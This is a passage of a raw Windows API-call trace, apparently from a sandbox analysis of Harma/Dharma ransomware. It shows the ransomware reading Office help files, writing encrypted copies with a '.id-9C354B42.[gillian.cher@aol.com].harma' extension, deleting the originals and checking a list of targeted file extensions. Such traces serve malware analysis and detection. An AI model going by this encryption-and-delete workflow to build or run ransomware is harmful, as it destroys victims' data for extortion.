(lpString1=".1cd", lpString2=".HXC") returned -1 [0157.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0157.630] lstrlenW (lpString=".jpg") returned 4 [0157.630] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0157.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0157.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0157.630] lstrlenW (lpString=".doc") returned 4 [0157.630] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0157.630] lstrlenW (lpString=".docx") returned 5 [0157.630] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0157.630] lstrlenW (lpString=".pdf") returned 4 [0157.630] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0157.630] lstrlenW (lpString=".xls") returned 4 [0157.630] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0157.630] lstrlenW (lpString=".xlsx") returned 5 [0157.630] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0157.630] lstrlenW (lpString=".ppt") returned 4 [0157.630] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0157.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0157.630] lstrlenW (lpString=".zip") returned 4 [0157.630] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0157.630] lstrlenW (lpString=".rar") returned 4 [0157.630] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0157.630] lstrlenW (lpString=".bz2") returned 4 [0157.630] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0157.630] lstrlenW (lpString=".7z") returned 3 [0157.631] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0157.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0157.631] lstrlenW (lpString=".dbf") returned 4 [0157.631] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0157.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0157.631] lstrlenW (lpString=".1cd") returned 4 [0157.631] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0157.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0157.631] lstrlenW (lpString=".jpg") returned 4 [0157.631] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0157.631] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0157.631] lstrlenW (lpString="MSOUC_COL.HXC") returned 13 [0157.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.632] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=621) returned 1 [0157.632] CloseHandle (hObject=0x388) returned 1 [0157.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc")) returned 0x20 [0157.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.632] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.632] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.633] GetLastError () returned 0x0 [0157.633] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x26d, lpOverlapped=0x0) returned 1 [0157.635] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x270, lpOverlapped=0x0) returned 1 [0157.635] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.635] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xee, lpOverlapped=0x0) returned 1 [0157.636] SetEndOfFile (hFile=0x210) returned 1 [0157.636] CloseHandle (hObject=0x210) returned 1 [0157.636] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.636] SetEndOfFile (hFile=0x388) returned 1 [0157.638] CloseHandle (hObject=0x388) returned 1 [0157.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc")) returned 1 [0157.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0157.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0157.639] lstrlenW (lpString=".doc") returned 4 [0157.639] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0157.639] lstrlenW (lpString=".docx") returned 5 [0157.639] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0157.639] lstrlenW (lpString=".pdf") returned 4 [0157.639] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0157.639] lstrlenW (lpString=".xls") returned 4 [0157.639] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0157.639] lstrlenW (lpString=".xlsx") returned 5 [0157.639] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0157.639] lstrlenW (lpString=".ppt") returned 4 [0157.639] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0157.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0157.639] lstrlenW (lpString=".zip") returned 4 [0157.639] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0157.639] lstrlenW (lpString=".rar") returned 4 [0157.639] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0157.639] lstrlenW (lpString=".bz2") returned 4 [0157.639] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0157.639] lstrlenW (lpString=".7z") returned 3 [0157.639] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0157.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0157.639] lstrlenW (lpString=".dbf") returned 4 [0157.640] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0157.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0157.640] lstrlenW (lpString=".1cd") returned 4 [0157.640] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0157.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0157.640] lstrlenW (lpString=".jpg") returned 4 [0157.640] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0157.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0157.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0157.640] lstrlenW (lpString=".doc") returned 4 [0157.640] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0157.640] lstrlenW (lpString=".docx") returned 5 [0157.640] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0157.640] lstrlenW (lpString=".pdf") returned 4 [0157.640] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0157.640] lstrlenW (lpString=".xls") returned 4 [0157.640] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0157.640] lstrlenW (lpString=".xlsx") returned 5 [0157.640] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0157.640] lstrlenW (lpString=".ppt") returned 4 [0157.640] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0157.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0157.640] lstrlenW (lpString=".zip") returned 4 [0157.640] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0157.640] lstrlenW (lpString=".rar") returned 4 [0157.640] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0157.640] lstrlenW (lpString=".bz2") returned 4 [0157.640] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0157.640] lstrlenW (lpString=".7z") returned 3 [0157.640] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0157.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0157.641] lstrlenW (lpString=".dbf") returned 4 [0157.641] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0157.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0157.641] lstrlenW (lpString=".1cd") returned 4 [0157.641] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0157.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0157.641] lstrlenW (lpString=".jpg") returned 4 [0157.641] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0157.641] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0157.641] lstrlenW (lpString="MSOUC_COL.HXT") returned 13 [0157.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.641] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=205) returned 1 [0157.641] CloseHandle (hObject=0x388) returned 1 [0157.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt")) returned 0x20 [0157.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.642] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.642] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.643] GetLastError () returned 0x0 [0157.643] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xcd, lpOverlapped=0x0) returned 1 [0157.644] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xd0, lpOverlapped=0x0) returned 1 [0157.645] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.645] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xee, lpOverlapped=0x0) returned 1 [0157.645] SetEndOfFile (hFile=0x210) returned 1 [0157.645] CloseHandle (hObject=0x210) returned 1 [0157.645] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.645] SetEndOfFile (hFile=0x388) returned 1 [0157.648] CloseHandle (hObject=0x388) returned 1 [0157.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt")) returned 1 [0157.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0157.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0157.648] lstrlenW (lpString=".doc") returned 4 [0157.648] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0157.649] lstrlenW (lpString=".docx") returned 5 [0157.649] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0157.649] lstrlenW (lpString=".pdf") returned 4 [0157.649] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0157.649] lstrlenW (lpString=".xls") returned 4 [0157.649] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0157.649] lstrlenW (lpString=".xlsx") returned 5 [0157.649] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0157.649] lstrlenW (lpString=".ppt") returned 4 [0157.649] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0157.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0157.649] lstrlenW (lpString=".zip") returned 4 [0157.649] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0157.649] lstrlenW (lpString=".rar") returned 4 [0157.649] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0157.649] lstrlenW (lpString=".bz2") returned 4 [0157.649] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0157.649] lstrlenW (lpString=".7z") returned 3 [0157.649] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0157.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0157.649] lstrlenW (lpString=".dbf") returned 4 [0157.649] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0157.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0157.649] lstrlenW (lpString=".1cd") returned 4 [0157.649] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0157.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0157.649] lstrlenW (lpString=".jpg") returned 4 [0157.649] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0157.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0157.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0157.650] lstrlenW (lpString=".doc") returned 4 [0157.650] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0157.650] lstrlenW (lpString=".docx") returned 5 [0157.650] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0157.650] lstrlenW (lpString=".pdf") returned 4 [0157.650] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0157.650] lstrlenW (lpString=".xls") returned 4 [0157.650] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0157.650] lstrlenW (lpString=".xlsx") returned 5 [0157.650] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0157.650] lstrlenW (lpString=".ppt") returned 4 [0157.650] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0157.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0157.650] lstrlenW (lpString=".zip") returned 4 [0157.650] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0157.650] lstrlenW (lpString=".rar") returned 4 [0157.650] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0157.650] lstrlenW (lpString=".bz2") returned 4 [0157.650] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0157.650] lstrlenW (lpString=".7z") returned 3 [0157.650] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0157.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0157.650] lstrlenW (lpString=".dbf") returned 4 [0157.650] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0157.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0157.650] lstrlenW (lpString=".1cd") returned 4 [0157.650] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0157.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61 [0157.650] lstrlenW (lpString=".jpg") returned 4 [0157.650] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0157.651] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0157.651] lstrlenW (lpString="MSOUC_F_COL.HXK") returned 15 [0157.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.651] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=114) returned 1 [0157.651] CloseHandle (hObject=0x388) returned 1 [0157.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk")) returned 0x20 [0157.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.652] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.652] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.653] GetLastError () returned 0x0 [0157.653] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x72, lpOverlapped=0x0) returned 1 [0157.654] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x80, lpOverlapped=0x0) returned 1 [0157.655] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.655] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf2, lpOverlapped=0x0) returned 1 [0157.655] SetEndOfFile (hFile=0x210) returned 1 [0157.655] CloseHandle (hObject=0x210) returned 1 [0157.655] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.655] SetEndOfFile (hFile=0x388) returned 1 [0157.658] CloseHandle (hObject=0x388) returned 1 [0157.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk")) returned 1 [0157.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0157.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0157.659] lstrlenW (lpString=".doc") returned 4 [0157.659] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.659] lstrlenW (lpString=".docx") returned 5 [0157.659] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.659] lstrlenW (lpString=".pdf") returned 4 [0157.659] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.659] lstrlenW (lpString=".xls") returned 4 [0157.659] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.659] lstrlenW (lpString=".xlsx") returned 5 [0157.660] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.660] lstrlenW (lpString=".ppt") returned 4 [0157.660] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0157.660] lstrlenW (lpString=".zip") returned 4 [0157.660] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.660] lstrlenW (lpString=".rar") returned 4 [0157.660] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.660] lstrlenW (lpString=".bz2") returned 4 [0157.660] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.660] lstrlenW (lpString=".7z") returned 3 [0157.660] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0157.660] lstrlenW (lpString=".dbf") returned 4 [0157.660] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0157.660] lstrlenW (lpString=".1cd") returned 4 [0157.660] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0157.660] lstrlenW (lpString=".jpg") returned 4 [0157.660] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0157.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0157.660] lstrlenW (lpString=".doc") returned 4 [0157.660] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.660] lstrlenW (lpString=".docx") returned 5 [0157.660] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.660] lstrlenW (lpString=".pdf") returned 4 [0157.660] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.660] lstrlenW (lpString=".xls") returned 4 [0157.661] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.661] lstrlenW (lpString=".xlsx") returned 5 [0157.661] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.661] lstrlenW (lpString=".ppt") returned 4 [0157.661] lstrcmpiW 